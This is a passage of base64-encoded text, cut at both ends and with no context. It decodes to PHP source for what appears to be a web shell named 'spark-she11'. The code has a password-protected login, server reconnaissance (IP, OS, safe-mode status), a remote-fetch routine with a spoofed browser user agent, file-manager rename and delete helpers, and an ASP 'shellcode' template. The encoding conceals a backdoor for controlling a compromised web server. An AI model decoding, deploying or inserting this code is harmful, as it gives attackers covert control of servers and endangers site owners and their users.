A3RikpIHsKb3V0ICs9IHN0ci5jaGFyQXQoaSk7Cn0gZWxzZSBpZiAoYyA+IDB4MDdGRikgewpvdXQgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSgweEUwIHwgKChjID4+IDEyKSAmIDB4MEYpKTsKb3V0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoMHg4MCB8ICgoYyA+PiA2KSAmIDB4M0YpKTsKb3V0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoMHg4MCB8ICgoYyA+PiAwKSAmIDB4M0YpKTsKfSBlbHNlIHsKb3V0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoMHhDMCB8ICgoYyA+PiA2KSAmIDB4MUYpKTsKb3V0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoMHg4MCB8ICgoYyA+PiAwKSAmIDB4M0YpKTsKfQp9CnJldHVybiBvdXQ7Cn0KZnVuY3Rpb24gdXRmOHRvMTYoc3RyKSB7CiAgdmFyIG91dCwgaSwgbGVuLCBjOwogIHZhciBjaGFyMiwgY2hhcjM7CiAgb3V0ID0gIiI7CiAgbGVuID0gc3RyLmxlbmd0aDsKICBpID0gMDsKICB3aGlsZShpIDwgbGVuKSB7CiAgICBjID0gc3RyLmNoYXJDb2RlQXQoaSsrKTsKICAgIHN3aXRjaChjID4+IDQpIHsKICAgICAgY2FzZSAwOiBjYXNlIDE6IGNhc2UgMjogY2FzZSAzOiBjYXNlIDQ6IGNhc2UgNTogY2FzZSA2OiBjYXNlIDc6CiAgICAgICAgb3V0ICs9IHN0ci5jaGFyQXQoaS0xKTsKICAgICAgICBicmVhazsKICAgICAgY2FzZSAxMjogY2FzZSAxMzoKICAgICAgICBjaGFyMiA9IHN0ci5jaGFyQ29kZUF0KGkrKyk7CiAgICAgICAgb3V0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoKChjICYgMHgxRikgPDwgNikgfCAoY2hhcjIgJiAweDNGKSk7CiAgICAgICAgYnJlYWs7CiAgICAgIGNhc2UgMTQ6CiAgICAgICAgY2hhcjIgPSBzdHIuY2hhckNvZGVBdChpKyspOwogICAgICAgIGNoYXIzID0gc3RyLmNoYXJDb2RlQXQoaSsrKTsKICAgICAgICBvdXQgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSgoKGMgJiAweDBGKSA8PCAxMikgfAogICAgICAgICgoY2hhcjIgJiAweDNGKSA8PCA2KSB8CiAgICAgICAgKChjaGFyMyAmIDB4M0YpIDw8IDApKTsKICAgICAgICBicmVhazsKICAgIH0KICB9CiAgcmV0dXJuIG91dDsKfQonKTsKfQoKZnVuY3Rpb24gaHRtbF90ZXh0KCRuYW1lLCAkY29scywgJHJvd3MsICR2YWx1ZSA9ICcnKQp7CiAgICBodG1sX24oIjxicj48YnI+PHRleHRhcmVhIG5hbWU9XCIkbmFtZVwiIENPTFM9XCIkY29sc1wiIFJPV1M9XCIkcm93c1wiID4kdmFsdWU8L3RleHRhcmVhPiIpOwp9CgpmdW5jdGlvbiBodG1sX3NlbGVjdCgkYXJyYXksICRtb2RlID0gJycsICRjaGFuZ2UgPSAnJywgJG5hbWUgPSAnY2xhc3MnKQp7CiAgICBodG1sX24oIjxzZWxlY3QgbmFtZT0kbmFtZSAkY2hhbmdlPiIpOwogICAgZm9yZWFjaCAoJGFycmF5IGFzICRuYW1lID0+ICR2YWx1ZSkgewogICAgICAgIGlmICgkbmFtZSA9PSAkbW9kZSkgewogICAgICAgICAgICBodG1sX24oIjxvcHRpb24gdmFsdWU9XCIkbmFtZVwiIHNlbGVjdGVkPiR2YWx1ZTwvb3B0aW9uPiIpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGh0bWxfbigiPG9wdGlvbiB2YWx1ZT1cIiRuYW1lXCI+JHZhbHVlPC9vcHRpb24+Iik7CiAgICAgICAgfQogICAgfQogICAgaHRtbF9uKCI8L3NlbGVjdD4iKTsKfQoKZnVuY3Rpb24gR2V0SHRtbCgkdXJsKQp7CiAgICAkYyA9ICcnOwogICAgJHVzZXJhZ2VudCA9ICdNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA2LjA7IFdpbmRvd3MgTlQgNS4yKSc7CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdmc29ja29wZW4nKSkgewogICAgICAgICRsaW5rID0gcGFyc2VfdXJsKCR1cmwpOwogICAgICAgICRxdWVyeSA9ICRsaW5rWydwYXRoJ10gLiAnPycgLiAkbGlua1sncXVlcnknXTsKICAgICAgICAkaG9zdCA9IHN0cnRvbG93ZXIoJGxpbmtbJ2hvc3QnXSk7CiAgICAgICAgJHBvcnQgPSAkbGlua1sncG9ydCddOwogICAgICAgIGlmICgkcG9ydCA9PSAiIikgewogICAgICAgICAgICAkcG9ydCA9IDgwOwogICAgICAgIH0KICAgICAgICAkZnAgPSBmc29ja29wZW4oJGhvc3QsICRwb3J0LCAkZXJybm8sICRlcnJzdHIsIDEwKTsKICAgICAgICBpZiAoJGZwKSB7CiAgICAgICAgICAgICRvdXQgPSAiR0VUIC97JHF1ZXJ5fSBIVFRQLzEuMFxyXG4iOwogICAgICAgICAgICAkb3V0IC49ICJIb3N0OiB7JGhvc3R9XHJcbiI7CiAgICAgICAgICAgICRvdXQgLj0gIlVzZXItQWdlbnQ6IE1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDYuMDsgV2luZG93cyBOVCA1LjIpXHJcbiI7CiAgICAgICAgICAgICRvdXQgLj0gIkNvbm5lY3Rpb246IENsb3NlXHJcblxyXG4iOwogICAgICAgICAgICBmd3JpdGUoJGZwLCAkb3V0KTsKICAgICAgICAgICAgJGluaGVhZGVyID0gMTsKICAgICAgICAgICAgd2hpbGUgKCFmZW9mKCRmcCkpIHsKICAgICAgICAgICAgICAgICRsaW5lID0gZmdldHMoJGZwLCA0MDk2KTsKICAgICAgICAgICAgICAgIGlmICgkaW5oZWFkZXIgPT0gMCkgewogICAgICAgICAgICAgICAgICAgICRjb250ZW50cyAuPSAkbGluZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkaW5oZWFkZXIgJiYgKCRsaW5lID09ICJcbiIgfHwgJGxpbmUgPT0gIlxyXG4iKSkgewogICAgICAgICAgICAgICAgICAgICRpbmhlYWRlciA9IDA7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgICAgICRjID0gJGNvbnRlbnRzOwogICAgICAgIH0KICAgIH0KICAgIGlmIChlbXB0eSgkYykgJiYgZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2luaXQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfZXhlYycpKSB7CiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDE1KTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIFRSVUUpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOwogICAgICAgICRjID0gY3VybF9leGVjKCRjaCk7CiAgICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgfQogICAgaWYgKGVtcHR5KCRjKSAmJiBpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSkgewogICAgICAgICRjID0gZmlsZV9nZXRfY29udGVudHMoJHVybCk7CiAgICB9CiAgICBpZiAoIWVtcHR5KCRjKSkgewogICAgICAgIHJldHVybiAkYzsKICAgIH0KfQoKZnVuY3Rpb24gY2hlY2tVc2VyKCl7CiAgICAkaW5mbyA9IGdldFJlYWxJcCgpOwogICAgcmV0dXJuIGZpbHRlcl92YXIoJGluZm8sIEZJTFRFUl9WQUxJREFURV9JUCwgRklMVEVSX0ZMQUdfTk9fUFJJVl9SQU5HRSB8IEZJTFRFUl9GTEFHX05PX1JFU19SQU5HRSk7Cn0KCmZ1bmN0aW9uIGh0bWxfbWFpbigpCnsKCiAgICBpZiAoQGluaV9nZXQoInNhZmVfbW9kZSIpIG9yIHN0cnRvbG93ZXIoQGluaV9nZXQoInNhZmVfbW9kZSIpKSA9PSAib24iKSB7CiAgICAgICAgJGhzYWZlbW9kZSA9ICJPTiAov6rG9CkiOwogICAgfSBlbHNlIHsKICAgICAgICAkaHNhZmVtb2RlID0gIk9GRiAoudix1SkiOwogICAgfQogICAgJFNlcnZlcl9JUCA9IGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0pOwogICAgJFNlcnZlcl9PUyA9IFBIUF9PUzsKICAgICRTZXJ2ZXJfU29mdCA9ICRfU0VSVkVSWyJTRVJWRVJfU09GVFdBUkUiXTsKICAgICR3ZWJfc2VydmVyID0gcGhwX3VuYW1lKCk7CiAgICAkdGl0bGUgPSAic3Bhcmstc2hlMTEiOwogICAgaHRtbF9uKCI8aHRtbD48dGl0bGU+IiAuICR0aXRsZSAuICI8L3RpdGxlPjx0YWJsZSB3aWR0aD0nMTAwJSc+PHRkIGFsaWduPSdjZW50ZXInPjxiPrCyyKvEo8q9OnskaHNhZmVtb2RlfS0tLS0teyRTZXJ2ZXJfSVB9LS0tLS17JFNlcnZlcl9PU30tLS0tLXskU2VydmVyX1NvZnR9LS0tLS17JHdlYl9zZXJ2ZXJ9PC9iPjwvdGQ+PC90YWJsZT4iKTsKICAgIGh0bWxfbigiPHRhYmxlIHdpZHRoPScxMDAlJyBoZWlnaHQ9Jzk1LjclJyBib3JkZXI9MCBjZWxscGFkZGluZz0nMCcgY2VsbHNwYWNpbmc9JzAnPjx0cj48dGQgd2lkdGg9JzE3MCc+PGlmcmFtZSBuYW1lPSdsZWZ0JyBzcmM9Jz93ZWJzaXRlXz1sZWZ0JyB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBmcmFtZWJvcmRlcj0nMCc+PC9pZnJhbWU+PC90ZD48dGQ+PGlmcmFtZSBuYW1lPSdtYWluJyBzcmM9Jz93ZWJzaXRlXz1tYWluJyB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBmcmFtZWJvcmRlcj0nMSc+PC9pZnJhbWU+PC90ZD48L3RyPjwvdGFibGU+PC9odG1sPiIpOwp9CgpmdW5jdGlvbiBpc2xvZ2luKCRzaGVsbG5hbWUsICRteXVybCkKewogICAgcHJpbnQ8PDxFTkQKPHN0eWxlIHR5cGU9InRleHQvY3NzIj5ib2R5LHRke2ZvbnQtc2l6ZTogMTJweDtjb2xvcjojMDBmZjAwO2JhY2tncm91bmQtY29sb3I6IzAwMDAwMDt9aW5wdXQsc2VsZWN0LHRleHRhcmVhe2ZvbnQtc2l6ZTogMTJweDtiYWNrZ3JvdW5kLWNvbG9yOiNGRkZGQ0M7Ym9yZGVyOjFweCBzb2xpZCAjZmZmfS5De2JhY2tncm91bmQtY29sb3I6IzAwMDAwMDtib3JkZXI6MHB4fS5jbWR7YmFja2dyb3VuZC1jb2xvcjojMDAwO2NvbG9yOiNGRkZ9Ym9keXttYXJnaW46IDBweDttYXJnaW4tbGVmdDo0cHg7fUJPRFkge1NDUk9MTEJBUi1GQUNFLUNPTE9SOiAjMjMyMzIzOyBTQ1JPTExCQVItSElHSExJR0hULUNPTE9SOiAjMjMyMzIzOyBTQ1JPTExCQVItU0hBRE9XLUNPTE9SOiAjMzgzODM4OyBTQ1JPTExCQVItREFSS1NIQURPVy1DT0xPUjogIzM4MzgzODsgU0NST0xMQkFSLTNETElHSFQtQ09MT1I6ICMyMzIzMjM7IFNDUk9MTEJBUi1BUlJPVy1DT0xPUjogI0ZGRkZGRjtTQ1JPTExCQVItVFJBQ0stQ09MT1I6ICMzODM4Mzg7fWF7Y29sb3I6I2RkZDt0ZXh0LWRlY29yYXRpb246IG5vbmU7fWE6aG92ZXJ7Y29sb3I6cmVkO2JhY2tncm91bmQ6IzAwMH0uYW17Y29sb3I6Izg4ODtmb250LXNpemU6MTFweDt9PC9zdHlsZT4KPGJvZHkgc3R5bGU9IkZJTFRFUjogcHJvZ2lkOkRYSW1hZ2VUcmFuc2Zvcm0uTWljcm9zb2Z0LkdyYWRpZW50KGdyYWRpZW50VHlwZT0wLHN0YXJ0Q29sb3JTdHI9IzYyNjI2MixlbmRDb2xvclN0cj0jMUMxQzFDKSIgc2Nyb2xsPW5vPjxjZW50ZXI+PGRpdiBzdHlsZT0nd2lkdGg6NTAwcHg7Ym9yZGVyOjFweCBzb2xpZCAjMjIyO3BhZGRpbmc6MjJweDttYXJnaW46MTAwcHg7Jz48YnI+PGEgaHJlZj0neyRteXVybH0nIHRhcmdldD0nX2JsYW5rJz57JHNoZWxsbmFtZX08L2E+PGJyPjxicj48Zm9ybSBtZXRob2Q9J3Bvc3QnPjxpbnB1dCBuYW1lPSdwb3N0cGFzcycgdHlwZT0ncGFzc3dvcmQnIHNpemU9JzIyJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyMnPjxicj48YnI+PGJyPjxmb250IGNvbG9yPSMzMzk5RkY+PC9mb250Pjxicj48L2Rpdj48L2NlbnRlcj4KRU5EOwp9CgpmdW5jdGlvbiBteXNxbGlfTGVuKCRkYXRhLCAkbGVuKQp7CiAgICBpZiAoc3RybGVuKCRkYXRhKSA8ICRsZW4pIHJldHVybiAkZGF0YTsKICAgIHJldHVybiBzdWJzdHJfcmVwbGFjZSgkZGF0YSwgJy4uLicsICRsZW4pOwp9CgpmdW5jdGlvbiBodG1sX24oJGRhdGEpCnsKICAgIGVjaG8gIiRkYXRhXG4iOwp9CgoKZnVuY3Rpb24gY3NzX2ltZygkaW1nKQp7CiAgICAkaW1hZ2VzID0gYXJyYXkoCiAgICAgICAgImV4ZSIgPT4KICAgICAgICAgICAgIlIwbEdPRGxoRXdBT0FLSUFBQUFBQVAvLy93QUF2Y2JHeG9TRWhQLy8vd0FBQUFBQUFDSDVCQUVBQUFVQUxBQUFBQUFUQUE0QUFBTTciIC4KICAgICAgICAgICAgIldMVGNUaVdTUWF1dEJFUTFoUCtnbDIxVEtBUUFpbzdTOEx4YUc4eDBQYk9jclFmNHROdTl3YThXSE5LS1JsNHNsK3k5WUJ1QWRFcXQiIC4KICAgICAgICAgICAgInhoSUFPdz09IiwKICAgICAgICAiZGlyIiA9PiAiUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBIiAuCiAgICAgICAgICAgICJBQUFBQUFBQUFBQUFDSDVCQUVBQUFnQUxBQUFBQUFUQUJBQUFBUlJFTWxKcTcwNDZ5cDZCeHNpSEVWQkVBS1lDVVByRHA3SGxYUmRFIiAuCiAgICAgICAgICAgICJvTXFDZWJwLzRZY2hmZnpHUWhINFlSWVBCMkRPbEhQaUt3cWQxUHE4eXJWVmczUVllSDVSWUs1ckpmYUZVVUEzdkI0ZkJJQkFEcz0iLAogICAgICAgICJ0eHQiID0+CiAgICAgICAgICAgICJSMGxHT0RsaEV3QVFBS0lBQUFBQUFQLy8vOGJHeG9TRWhQLy8vd0FBQUFBQUFBQUFBQ0g1QkFFQUFBUUFMQUFBQUFBVEFCQUFBQU5KIiAuCiAgICAgICAgICAgICJTQXJFM2xESkZrYTkxcktwQS9EZ0ozSkJhWjZsc0NrVzZxcWtCNGp6RjhCUzY1NDRXOVpBVzQrZzI2Vld4Rjl3ZG93Wm16bmxFdXA3IiAuCiAgICAgICAgICAgICJVcFBXRzNJZzZIcS9YbVJqdVp3a0FBQTciLAogICAgICAgICJodG1sIiA9PgogICAgICAgICAgICAiUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzJ0cm5NM1AvRkJWaHJQTzlsNkl0b3l0MHloZ2srWHkvV0dwNHNYbC9pNlo0bWZkL0hOeiIgLgogICAgICAgICAgICAiYy8vLy95SDVCQUVBQUE4QUxBQUFBQUFUQUJBQUFBU1Q4TWwzcXExbTZubUMvNEdoYkZvWEpFTzFDQU5EU29jaUdrYkFDSGkyMFUzUCIgLgogICAgICAgICAgICAiS0lGR0lqQVFPRFNpQldPNU5BeFJSbVRnZ0Rna21NN0U2aWlwSFpZS0JWTlFTQlNpa3VrU3dXNGp5bWN1cFlGZ0lCcUwvTUs4S0JEayIgLgogICAgICAgICAgICAiQmt4MkJYV0RmWDhURERhRkRBMEtCQWQ5Zm5JS0hYWUlCSmdIQlFPSGNnK1ZDaWtWQTV3THBZZ2JCS3VyRHF5c254TU9zN1Mxc3hJUiIgLgogICAgICAgICAgICAiQURzPSIsCiAgICAgICAgImpzIiA9PgogICAgICAgICAgICAiUjBsR09EZGhFQUFRQUNJQUFDd0FBQUFBRUFBUUFJTC8vLzhBQUFDQWdJREF3TUQvL3dDQWdBQUFBQUFBQUFBRFVDaTYzQ0VneGliSCIgLgogICAgICAgICAgICAiazBBUXNHMjAwQVFVSkJnQW9NaWhqNWRtSXhuTUp4dHFxMWRkRTBFV09oc0cxNm05TW9vQWlTV0VtVGl1QzRUdzJCQjBMOEZnSUFocyIgLgogICAgICAgICAgICAiYTAwQWpZWUJiYy9vOUhqTm5pVUFBRHM9IiwKICAgICAgICAieG1sIiA9PgogICAgICAgICAgICAiUjBsR09EbGhFQUFRQUVRQUFDSDVCQUVBQUJBQUxBQUFBQUFRQUJBQWhQLy8vd0FBQVBIeDhZYUdoak5tbWFiSzhBQUFtUUFBZ0FDQSIgLgogICAgICAgICAgICAiZ0RPWkFETm0vek9aL3pQLy84REF3RFBNL3dBQS93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIgLgogICAgICAgICAgICAiQUFBQUFBQUFBQUFBQUFBQUFBVms0Q0NPcEFpZDBBQ3NiTnNNcU5xdUFpQTBBSnpTZGw4SHdNQk9VS2doRUFwYkVTQlVGUXdBQklDeCIgLgogICAgICAgICAgICAiT0FBTXhlYlRobUE0RW9jYXRnbllLaGFKaHhVcklCTnJoN2p5dC9QWmErMGhZYy9uMDJWNGR6WnVmWVYvUElHSmJvS0JRa0dQa0VFUSIgLgogICAgICAgICAgICAiSVFBNyIsCiAgICAgICAgIm1wMyIgPT4KICAgICAgICAgICAgIlIwbEdPRGxoRUFBUUFDSUFBQ0g1QkFFQUFBWUFMQUFBQUFBUUFCQUFnZ0FBQVAvLy80Q0FnTURBd0lDQUFQLy9BQUFBQUFBQUFBTlUiIC4KICAgICAgICAgICAgImFHclM3aXVLUUdzWUlxcHA2UWlaUkRRV1lBSUxRUVNBMmcybzRRb0FTSEd3dkJiQU4zR1gxcVhBK3IxYUJRSFJaSE1FRFNZQ3ozZmMiIC4KICAgICAgICAgICAgIklHdEdUOHdBVXdsdHp3V05XUlYzTERueFlNMXViNkduZUR3QkFEcz0iLAogICAgICAgICJpbWciID0+CiAgICAgICAgICAgICJSMGxHT0RsaEVBQVFBRE1BQUNINUJBRUFBQWtBTEFBQUFBQVFBQkFBZ3dBQUFQLy8vOERBd0lDQWdJQ0FBUDhBQUFEL0FJQUFBQUNBIiAuCiAgICAgICAgICAgICJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFSY2NNaEprNzBqNkszRnVGYkdiVUx3SmNVaGpnSGdBa1VxRWdKTkVFQWd4RWNpIiAuCiAgICAgICAgICAgICJDaThBTHNBTGFYQ0dKSzVvMUFHU0JzSUFjQUJnamdDRXdBTUVYcDBCQk1MbC9BNng1V1p0UGZRMmc2KzBqOFZ4KzdiNC9OWnFnZnRkIiAuCiAgICAgICAgICAgICJGeEVBT3c9PSIsCiAgICAgICAgInRpdGxlIiA9PiAiUjBsR09EbGhEZ0FPQU1RQUFPR21HbVptWnYvL3hWVlZWZVc2RStLMkYvK1pBSE56Y2YrdkFHZG5hZi9BQUh0MWFmKyIgLgogICAgICAgICAgICAibUFQL0ZBUDYxQUh0NGFYTnphK1duRlAvL3pBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiIC4KICAgICAgICAgICAgIkFDSDVCQUFIQVA4QUxBQUFBQUFPQUE0QUFBVkpZUEljWkdrK3dVTTBiT3NXb3l1MzVLemNlTzNzanNUdkRSMVA0dU1GRHcyRUVrR1VMIiAuCiAgICAgICAgICAgICJJOE5ocFRSbkVLblZBa1dhdWdhSk40dU4weStrcjJNNENJeWN3RVdnNFZwZm9DSEFBQTciLAogICAgICAgICJyYXIiID0+ICJSMGxHT0RsaEVBQVFBUGYvQUFBQUFBQUFnQUFBL3dDQUFBRC9BQUNBZ0lBQUFJQUFnUDhBLzRDQUFQLy9BTURBd1AvLy93QUEiIC4KICAgICAgICAgICAgIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIgLgogICAgICAgICAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIiAuCiAgICAgICAgICAgICJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiIC4KICAgICAgICAgICAgIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIgLgogICAgICAgICAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIiAuCiAgICAgICAgICAgICJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiIC4KICAgICAgICAgICAgIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIgLgogICAgICAgICAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIiAuCiAgICAgICAgICAgICJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiIC4KICAgICAgICAgICAgIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIgLgogICAgICAgICAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIiAuCiAgICAgICAgICAgICJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiIC4KICAgICAgICAgICAgIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIgLgogICAgICAgICAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRC9BQ0g1QkFFS0FQOEFMQUFBQUFBUUFCQUFBQWlGQVAwWUVFaHdvRUUvIiAuCiAgICAgICAgICAgICIveEl1RUpoZ1FZS0RCeFArVzJpZzRjT0NCQ2N5b0hqQVFNZVBIZ2Y2V2JEeGdBSUVLRk9tSERtU3djaVFJRHNpWExnd2daK2IiIC4KICAgICAgICAgICAgIk9IT1NYSml6NTgxL0xSY0UyTGlncU5HaUxFa0tXQ0NncVZPbk0xbmFET0NIcXRXYk8zMzZCTHB6Z0FJQ1lNT0dSZGd5d0lJQyIgLgogICAgICAgICAgICAiYU5PbVJjalZqMDJ0UHhQQ3pma3ZJQUE3IgogICAgKTsKICAgIGhlYWRlcignQ29udGVudC10eXBlOiBpbWFnZS9naWYnKTsKICAgIGVjaG8gYmFzZTY0X2RlY29kZSgkaW1hZ2VzWyRpbWddKTsKICAgIGRpZSgpOwp9CgpmdW5jdGlvbiBjc3Nfc2hvd2ltZygkZmlsZSkKewogICAgJGl0ID0gc3Vic3RyKCRmaWxlLCAtMyk7CiAgICBzd2l0Y2ggKCRpdCkgewogICAgICAgIGNhc2UgImpwZyI6CiAgICAgICAgY2FzZSAiZ2lmIjoKICAgICAgICBjYXNlICJibXAiOgogICAgICAgIGNhc2UgInBuZyI6CiAgICAgICAgY2FzZSAiaWNvIjoKICAgICAgICAgICAgcmV0dXJuICdpbWcnOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICJodG0iOgogICAgICAgIGNhc2UgInRtbCI6CiAgICAgICAgICAgIHJldHVybiAnaHRtbCc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgImV4ZSI6CiAgICAgICAgY2FzZSAiY29tIjoKICAgICAgICAgICAgcmV0dXJuICdleGUnOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICJ4bWwiOgogICAgICAgIGNhc2UgImRvYyI6CiAgICAgICAgICAgIHJldHVybiAneG1sJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAiLmpzIjoKICAgICAgICBjYXNlICJ2YnMiOgogICAgICAgICAgICByZXR1cm4gJ2pzJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAibXAzIjoKICAgICAgICBjYXNlICJ3bWEiOgogICAgICAgIGNhc2UgIndhdiI6CiAgICAgICAgY2FzZSAic3dmIjoKICAgICAgICBjYXNlICIucm0iOgogICAgICAgIGNhc2UgImF2aSI6CiAgICAgICAgY2FzZSAibXA0IjoKICAgICAgICBjYXNlICJtdmIiOgogICAgICAgICAgICByZXR1cm4gJ21wMyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgInJhciI6CiAgICAgICAgY2FzZSAidGFyIjoKICAgICAgICBjYXNlICIuZ3oiOgogICAgICAgIGNhc2UgInppcCI6CiAgICAgICAgY2FzZSAiaXNvIjoKICAgICAgICAgICAgcmV0dXJuICdyYXInOwogICAgICAgICAgICBicmVhazsKICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICByZXR1cm4gJ3R4dCc7CiAgICAgICAgICAgIGJyZWFrOwogICAgfQp9CgpmdW5jdGlvbiBjc3NfanMoJG51bSwgJGNvZGUgPSAnJykKewogICAgaWYgKCRudW0gPT0gInNoZWxsY29kZSIpIHsKICAgICAgICByZXR1cm4gJzwlQCBMQU5HVUFHRT0iSmF2YVNjcmlwdCIgJT4KCQk8JQoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKCQklPic7CiAgICB9CiAgICBodG1sX24oJzxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPicpOwogICAgaWYgKCRudW0gPT0gIjEiKSB7CiAgICAgICAgaHRtbF9uKCcJZnVuY3Rpb24gcnVzdXJlY2hrKG1zZyx1cmwpewoJCXNtc2cgPSAiRmlsZU5hbWU6WyIgKyBtc2cgKyAiXVxuUGxlYXNlIElucHV0IE5ldyBGaWxlOiI7CgkJcmUgPSBwcm9tcHQoc21zZyxtc2cpOwoJCWlmIChyZSl7CgkJCXVybCA9IHVybCArIHJlOwoJCQl3aW5kb3cubG9jYXRpb24gPSB1cmw7CgkJfQoJfQoJZnVuY3Rpb24gcnVzdXJlZGVsKG1zZyx1cmwpewoJCXNtc2cgPSAiRG8gWW91IFN1ZXIgRGVsZXRlIFsiICsgbXNnICsgIl0gPyI7CgkJaWYoY29u